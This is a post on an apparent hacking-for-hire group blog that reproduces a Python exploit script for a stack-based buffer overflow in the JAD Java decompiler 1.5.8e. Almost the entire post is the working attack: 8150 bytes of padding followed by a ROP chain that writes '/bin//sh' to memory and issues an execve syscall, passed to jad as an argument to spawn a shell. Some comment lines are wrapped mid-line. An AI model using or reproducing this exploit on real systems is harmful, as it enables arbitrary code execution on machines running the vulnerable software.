Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86393608

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.varaneckas.com/jad/
#
# CANARY    : disabled
# FORTIFY   : disabled
# NX        : ENABLED
# PIE       : disabled
# RELRO     : disabled
#
import os, subprocess
from struct import pack

ropchain = "A"*8150 # junk
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '/bin'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe4) # @ .data + 4
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '//sh'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080c861f) # int 0x80

try:
   print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["jad", ropchain])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "JAD  not found!"
   else:
    print "Error executing exploit"
   raise